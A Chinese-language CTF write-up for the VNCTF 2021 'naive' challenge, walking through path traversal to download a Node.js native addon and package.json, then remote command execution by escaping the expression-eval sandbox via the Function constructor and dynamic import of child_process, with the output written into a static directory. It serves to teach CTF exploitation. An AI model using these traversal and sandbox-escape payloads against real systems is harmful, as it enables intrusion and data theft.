0
点赞
收藏
分享

微信扫一扫

[VNCTF 2021]naive

jjt二向箔 2022-10-27 阅读 21


[VNCTF 2021]naive

拿了一个二血开心

亮点

nodeJs的ES6特性import及其动态加载特性

Wp

首先打开题目是一个计算器,以为是常规的审计Node去实现逃逸啥的,后来发现不是

在源代码当中发现,存在任意文件读取,先放一边

app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
}
});

接下来我们看看关键逻辑,接收一个参数e和code,但是我们首先要拿到code,才能任意执行eval

app.use("/eval", (req, res) => {
const e = req.body.e;
const code = req.body.code;
if (!e || !code) {
res.send("wrong?");
return;
}
try {
if (addon.verify(code)) {
res.send(String(eval_(parse(e))));
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
});

再接下来看到最上面code是利用bindings引入的​​const addon = bindings("addon");​​,去nodejs官网上面搜一下

[VNCTF 2021]naive_ide

可以看出bindings(“addon”);会引入build/Release/addon.node里面的包,因此我们配合上面文件下载,访问

http://1adff864-6d0f-49d3-8127-db3e6f1b1167.node3.buuoj.cn/source?path=../build/Release/addon.node

拿到一个elf文件,web狗看不懂,丢给会逆向的同学拿到了密钥​​yoshino-s_want_a_gf,qq1735439536​

接下来,便是如何利用 ​​res.send(String(eval_(parse(e))));​​​去实现任意命令的执行了,起初我去官网读了下​​expression-eval​​​的底层代码,差点吐血,后来经过我精心测试发现利用​​(1).constructor.constructor​​可以拿到Funtion从而实现自定义匿名函数

之后我尝试了一波常规paylaod

code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return require('child_process').execSync(\"whoami").toString();})")();

大大的wrong真的讽刺

[VNCTF 2021]naive_d3_02

后来几经波折发现在package.json​​/source?path=../package.json​​​当中有一行​​"type": "module"​​这也是本题的关键所在

{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"type": "module",
"scripts": {
"start": "node src/index.js",
"build:native": "node-gyp rebuild",
"build:native:dev": "node-gyp rebuild --debug"
},
"dependencies": {
"bindings": "^1.5.0",
"express": "^4.17.1",
"expression-eval": "^4.0.0",
"node-addon-api": "^3.0.2",
"seval": "^2.0.1"
},
"devDependencies": {
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"node-gyp": "^7.1.2",
"prettier": "^2.0.5"
}
}

重点是这个​​"type": "module"​​参数,在http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html 发现这里采用的是ES6不是CommonJS,因此不可以使用require导入,这就是前面代码执行异常的原因

[VNCTF 2021]naive_d3_03

但是我当时没搞懂咋利用import实现单行导入并执行命令,在这里https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules

[VNCTF 2021]naive_ide_04

发现了利用姿势,动态加载模块yyds!

尝试执行

code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return import('child_process').then((module)=>{module.execSync(\"whoami\").toString();})")();

发现它返回一个 ​​promise​​.既然如此那我们尝试带外输出curl wget都不行

[VNCTF 2021]naive_d3_05

好吧,最后一条路,我们知道nodejs支持设置静态目录从而实现直接访问,在源码当中我们发现

app.use(express.static("static"));

因此不难得到这个目录在static下,所以我们构造paylaod将结果丢在static目录下

http://1adff864-6d0f-49d3-8127-db3e6f1b1167.node3.buuoj.cn/eval

POST数据
code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return+import('child_process').then((module)=>{module.execSync(\"cat ../flag>> ./static/4.js\");})")();

之后访问

http://1adff864-6d0f-49d3-8127-db3e6f1b1167.node3.buuoj.cn/4.js

拿到flag

参考学习链接

​​http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html​​​

https://zhuanlan.zhihu.com/p/110548940
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules



举报

相关推荐

0 条评论